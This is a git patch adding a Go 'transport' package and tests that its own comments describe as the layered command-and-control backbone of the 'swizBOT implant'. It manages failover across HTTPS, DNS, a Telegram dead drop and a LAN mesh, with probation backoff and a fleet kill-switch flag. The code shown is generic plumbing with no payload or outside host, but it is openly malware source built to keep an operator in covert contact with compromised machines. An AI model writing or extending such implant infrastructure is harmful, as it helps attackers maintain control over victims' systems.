From f6a927e27535161d466f1c268855f4503879d9a0 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org> Date: Sat, 12 Sep 2026 01:31:34 +0000 Subject: [PATCH] Upload files to "internal/transport" --- internal/transport/transport.go | 265 +++++++++++++++++++++++++++ internal/transport/transport_test.go | 207 +++++++++++++++++++++ 2 files changed, 472 insertions(+) create mode 100644 internal/transport/transport.go create mode 100644 internal/transport/transport_test.go diff --git a/internal/transport/transport.go b/internal/transport/transport.go new file mode 100644 index 0000000..f333270 --- /dev/null +++ b/internal/transport/transport.go @@ -0,0 +1,265 @@ +// Package transport is the layered fallback-comms backbone for the +// swizBOT implant. +// +// The implant talks to the operator through an ordered stack of channels +// (HTTPS endpoints, DNS records, a Telegram dead drop, a LAN mesh, ...). +// Each channel is a Layer. The Manager walks the stack in priority order, +// fails over on error, and keeps per-layer health so a dead channel is +// put on probation instead of being hammered on every beacon. +// +// Layers move opaque bytes. Encryption is the caller's job (or the +// layer's), so the same Manager carries AEAD frames, legacy +// XOR-obfuscated bodies, or cleartext in a lab without knowing which. +package transport + +import ( + "context" + "errors" + "sort" + "sync" + "time" +) + +// Sentinel errors. Layers return ErrUnsupported for an operation they do +// not implement (e.g. a receive-only DNS channel); the Manager then skips +// the layer without counting it as a failure. +var ( + ErrNoLayers = errors.New("transport: no layers configured") + ErrAllFailed = errors.New("transport: every layer failed") + ErrUnsupported = errors.New("transport: operation unsupported by layer") +) + +// Frame is one wire payload returned by a poll. Sealed reports whether +// Body is an AEAD frame (true) or a cleartext JSON body (false, legacy +// lab mode) so the caller knows how to open it. Paused carries the fleet +// kill-switch signal when the channel exposes it (HTTP X-Paused). +type Frame struct { + Body []byte + Sealed bool + Paused bool +} + +// Layer is a single comms channel in the fallback stack. +// +// Poll returns the next inbound frame: (Frame{}, nil) means the channel +// is healthy but has nothing queued, (Frame{}, err) means the channel +// failed. Push delivers one outbound frame. +type Layer interface { + Name() string + Priority() int + Poll(ctx context.Context) (Frame, error) + Push(ctx context.Context, frame []byte) error +} + +// LayerStatus is a point-in-time health snapshot for observability. +type LayerStatus struct { + Name string + Priority int + Healthy bool + Consecutive int + Successes uint64 + Failures uint64 + ProbationTill time.Time + LastError string + LastOK time.Time +} + +type layerState struct { + layer Layer + consec int + probUntil time.Time + lastErr error + lastOK time.Time + ok uint64 + fail uint64 +} + +// Manager owns the ordered layer stack and its health state. +type Manager struct { + mu sync.Mutex + states []*layerState + now func() time.Time + + failThreshold int + probation time.Duration + maxProbation time.Duration +} + +// Option configures a Manager. +type Option func(*Manager) + +// WithClock overrides the time source (tests). +func WithClock(now func() time.Time) Option { return func(m *Manager) { m.now = now } } + +// WithProbation sets the consecutive-failure threshold that trips +// probation and the base probation duration. +func WithProbation(after int, d time.Duration) Option { + return func(m *Manager) { + if after > 0 { + m.failThreshold = after + } + if d > 0 { + m.probation = d + } + } +} + +// WithMaxProbation caps the exponential probation backoff. +func WithMaxProbation(d time.Duration) Option { + return func(m *Manager) { + if d > 0 { + m.maxProbation = d + } + } +} + +// New builds a Manager over the given layers, ordered by ascending +// Priority (lower = tried first). +func New(layers []Layer, opts ...Option) *Manager { + m := &Manager{ + now: time.Now, + failThreshold: 3, + probation: 30 * time.Second, + maxProbation: 30 * time.Minute, + } + for _, o := range opts { + o(m) + } + for _, l := range layers { + if l == nil { + continue + } + m.states = append(m.states, &layerState{layer: l}) + } + sort.SliceStable(m.states, func(i, j int) bool { + return m.states[i].layer.Priority() < m.states[j].layer.Priority() + }) + return m +} + +// Names returns the layer names in priority order. +func (m *Manager) Names() []string { + m.mu.Lock() + defer m.mu.Unlock() + out := make([]string, len(m.states)) + for i, s := range m.states { + out[i] = s.layer.Name() + } + return out +} + +// Poll returns the first inbound frame from the highest-priority healthy +// layer. ErrAllFailed means every layer either errored or was skipped. +func (m *Manager) Poll(ctx context.Context) (Frame, string, error) { + m.mu.Lock() + states := append([]*layerState(nil), m.states...) + m.mu.Unlock() + if len(states) == 0 { + return Frame{}, "", ErrNoLayers + } + for _, s := range states { + if m.inProbation(s) { + continue + } + f, err := s.layer.Poll(ctx) + if errors.Is(err, ErrUnsupported) { + continue + } + if err != nil { + m.markFail(s, err) + continue + } + m.markOK(s) + return f, s.layer.Name(), nil + } + return Frame{}, "", ErrAllFailed +} + +// Push delivers a frame through the first healthy layer that accepts it. +func (m *Manager) Push(ctx context.Context, frame []byte) (string, error) { + m.mu.Lock() + states := append([]*layerState(nil), m.states...) + m.mu.Unlock() + if len(states) == 0 { + return "", ErrNoLayers + } + for _, s := range states { + if m.inProbation(s) { + continue + } + err := s.layer.Push(ctx, frame) + if errors.Is(err, ErrUnsupported) { + continue + } + if err != nil { + m.markFail(s, err) + continue + } + m.markOK(s) + return s.layer.Name(), nil + } + return "", ErrAllFailed +} + +// Status snapshots per-layer health, in priority order. +func (m *Manager) Status() []LayerStatus { + m.mu.Lock() + defer m.mu.Unlock() + out := make([]LayerStatus, 0, len(m.states)) + for _, s := range m.states { + st := LayerStatus{ + Name: s.layer.Name(), + Priority: s.layer.Priority(), + Consecutive: s.consec, + Successes: s.ok, + Failures: s.fail, + ProbationTill: s.probUntil, + LastOK: s.lastOK, + Healthy: s.consec < m.failThreshold && !m.probationActive(s), + } + if s.lastErr != nil { + st.LastError = s.lastErr.Error() + } + out = append(out, st) + } + return out +} + +func (m *Manager) probationActive(s *layerState) bool { + return !s.probUntil.IsZero() && m.now().Before(s.probUntil) +} + +func (m *Manager) inProbation(s *layerState) bool { + m.mu.Lock() + defer m.mu.Unlock() + return m.probationActive(s) +} + +func (m *Manager) markOK(s *layerState) { + m.mu.Lock() + defer m.mu.Unlock() + s.consec = 0 + s.probUntil = time.Time{} + s.lastOK = m.now() + s.ok++ +} + +func (m *Manager) markFail(s *layerState, err error) { + m.mu.Lock() + defer m.mu.Unlock() + s.consec++ + s.fail++ + s.lastErr = err + if s.consec >= m.failThreshold { + // exponential probation: base * 2^(over-threshold), capped + over := s.consec - m.failThreshold + if over > 20 { + over = 20 + } + d := m.probation << uint(over) + if d <= 0 || d > m.maxProbation { + d = m.maxProbation + } + s.probUntil = m.now().Add(d) + } +} diff --git a/internal/transport/transport_test.go b/internal/transport/transport_test.go new file mode 100644 index 0000000..9415b69 --- /dev/null +++ b/internal/transport/transport_test.go @@ -0,0 +1,207 @@ +package transport + +import ( + "context" + "errors" + "testing" + "time" +) + +type clock struct{ t time.Time } + +func (c *clock) now() time.Time { return c.t } +func (c *clock) advance(d time.Duration) { c.t = c.t.Add(d) } + +type fakeLayer struct { + name string + pri int + pollF func(context.Context) (Frame, error) + pushF func(context.Context, []byte) error +} + +func (f *fakeLayer) Name() string { return f.name } +func (f *fakeLayer) Priority() int { return f.pri } +func (f *fakeLayer) Poll(ctx context.Context) (Frame, error) { + if f.pollF == nil { + return Frame{}, ErrUnsupported + } + return f.pollF(ctx) +} +func (f *fakeLayer) Push(ctx context.Context, b []byte) error { + if f.pushF == nil { + return ErrUnsupported + } + return f.pushF(ctx, b) +} + +func errLayer(name string, pri int) *fakeLayer { + return &fakeLayer{name: name, pri: pri, pollF: func(context.Context) (Frame, error) { + return Frame{}, errors.New("down") + }, pushF: func(context.Context, []byte) error { return errors.New("down") }} +} + +func okLayer(name string, pri int, body string, sealed bool) *fakeLayer { + return &fakeLayer{name: name, pri: pri, pollF: func(context.Context) (Frame, error) { + return Frame{Body: []byte(body), Sealed: sealed}, nil + }, pushF: func(context.Context, []byte) error { return nil }} +} + +func TestOrderingByPriority(t *testing.T) { + m := New([]Layer{errLayer("c", 30), errLayer("a", 10), errLayer("b", 20)}) + got := m.Names() + want := []string{"a", "b", "c"} + for i := range want { + if got[i] != want[i] { + t.Fatalf("order = %v, want %v", got, want) + } + } +} + +func TestPollFailover(t *testing.T) { + m := New([]Layer{errLayer("https", 10), okLayer("dns", 20, "frame", true)}) + f, via, err := m.Poll(context.Background()) + if err != nil { + t.Fatalf("poll: %v", err) + } + if via != "dns" || string(f.Body) != "frame" || !f.Sealed { + t.Fatalf("got via=%q body=%q sealed=%v", via, f.Body, f.Sealed) + } +} + +func TestPollStopsAtFirstHealthy(t *testing.T) { + empty := &fakeLayer{name: "https", pri: 10, pollF: func(context.Context) (Frame, error) { + return Frame{}, nil // healthy, nothing queued + }} + m := New([]Layer{empty, okLayer("dns", 20, "should-not-win", true)}) + f, via, err := m.Poll(context.Background()) + if err != nil { + t.Fatalf("poll: %v", err) + } + if via != "https" || len(f.Body) != 0 { + t.Fatalf("expected to stop at https with empty frame, got via=%q body=%q", via, f.Body) + } +} + +func TestProbationThenSkip(t *testing.T) { + clk := &clock{t: time.Unix(1000, 0)} + l1 := errLayer("https", 10) + l2 := okLayer("dns", 20, "ok", true) + m := New([]Layer{l1, l2}, WithClock(clk.now), WithProbation(2, 10*time.Second)) + + // two failed polls trip probation on l1 + for i := 0; i < 2; i++ { + if _, via, err := m.Poll(context.Background()); err != nil || via != "dns" { + t.Fatalf("poll %d: via=%q err=%v", i, via, err) + } + } + st := m.Status()[0] + if st.Failures != 2 || !st.ProbationTill.After(clk.now()) { + t.Fatalf("l1 should be in probation after 2 failures: %+v", st) + } + // third poll must skip l1 entirely (no new failures recorded) + if _, via, err := m.Poll(context.Background()); err != nil || via != "dns" { + t.Fatalf("poll 3: via=%q err=%v", via, err) + } + if got := m.Status()[0].Failures; got != 2 { + t.Fatalf("l1 should not be retried during probation, failures=%d", got) + } +} + +func TestRecoveryAfterProbation(t *testing.T) { + clk := &clock{t: time.Unix(2000, 0)} + recovered := false + l1 := &fakeLayer{name: "https", pri: 10, pollF: func(context.Context) (Frame, error) { + if !recovered { + return Frame{}, errors.New("down") + } + return Frame{Body: []byte("back"), Sealed: true}, nil + }, pushF: func(context.Context, []byte) error { return nil }} + l2 := okLayer("dns", 20, "fallback", true) + m := New([]Layer{l1, l2}, WithClock(clk.now), WithProbation(1, 10*time.Second)) + + // one failure -> probation + if _, via, _ := m.Poll(context.Background()); via != "dns" { + t.Fatalf("expected fallback, got %q", via) + } + // still in probation -> skipped even though l1 would succeed now + recovered = true + if _, via, _ := m.Poll(context.Background()); via != "dns" { + t.Fatalf("expected probation skip, got %q", via) + } + // after the window, l1 is retried and wins + clk.advance(11 * time.Second) + f, via, err := m.Poll(context.Background()) + if err != nil || via != "https" || string(f.Body) != "back" { + t.Fatalf("expected https recovery, got via=%q body=%q err=%v", via, f.Body, err) + } + if st := m.Status()[0]; !st.Healthy || st.Consecutive != 0 { + t.Fatalf("l1 should be healthy after recovery: %+v", st) + } +} + +func TestPushFirstSuccess(t *testing.T) { + m := New([]Layer{errLayer("https", 10), okLayer("dns", 20, "", true)}) + via, err := m.Push(context.Background(), []byte("x")) + if err != nil || via != "dns" { + t.Fatalf("push via=%q err=%v", via, err) + } +} + +func TestUnsupportedSkipped(t *testing.T) { + // poll-side unsupported (no pollF) must not count as a failure + ro := &fakeLayer{name: "dns", pri: 10, pushF: func(context.Context, []byte) error { return nil }} + m := New([]Layer{ro, okLayer("https", 20, "ok", true)}) + if _, via, err := m.Poll(context.Background()); err != nil || via != "https" { + t.Fatalf("poll via=%q err=%v", via, err) + } + if st := m.Status()[0]; st.Failures != 0 { + t.Fatalf("unsupported poll must not count as failure: %+v", st) + } + // push direction: the https layer is poll-only? no - it pushes fine. use a poll-only first layer + pollOnly := &fakeLayer{name: "recv", pri: 10, pollF: func(context.Context) (Frame, error) { return Frame{}, nil }} + m2 := New([]Layer{pollOnly, okLayer("https", 20, "", true)}) + if via, err := m2.Push(context.Background(), []byte("x")); err != nil || via != "https" { + t.Fatalf("push via=%q err=%v", via, err) + } + if st := m2.Status()[0]; st.Failures != 0 { + t.Fatalf("unsupported push must not count as failure: %+v", st) + } +} + +func TestAllFailed(t *testing.T) { + m := New([]Layer{errLayer("a", 10), errLayer("b", 20)}) + if _, _, err := m.Poll(context.Background()); !errors.Is(err, ErrAllFailed) { + t.Fatalf("want ErrAllFailed, got %v", err) + } + if _, err := m.Push(context.Background(), nil); !errors.Is(err, ErrAllFailed) { + t.Fatalf("push want ErrAllFailed, got %v", err) + } +} + +func TestNoLayers(t *testing.T) { + m := New(nil) + if _, _, err := m.Poll(context.Background()); !errors.Is(err, ErrNoLayers) { + t.Fatalf("want ErrNoLayers, got %v", err) + } + if _, err := m.Push(context.Background(), nil); !errors.Is(err, ErrNoLayers) { + t.Fatalf("push want ErrNoLayers, got %v", err) + } +} + +func TestProbationBackoffCaps(t *testing.T) { + clk := &clock{t: time.Unix(3000, 0)} + l1 := errLayer("https", 10) + l2 := okLayer("dns", 20, "ok", true) + m := New([]Layer{l1, l2}, WithClock(clk.now), WithProbation(1, time.Minute), WithMaxProbation(5*time.Minute)) + + // drive many failures, advancing past each probation window so l1 retries + for i := 0; i < 40; i++ { + _, _, _ = m.Poll(context.Background()) + clk.advance(6 * time.Minute) + } + st := m.Status()[0] + // probation window must be capped + if d := st.ProbationTill.Sub(clk.now()); d > 5*time.Minute+time.Second { + t.Fatalf("probation window %s exceeds cap", d) + } +}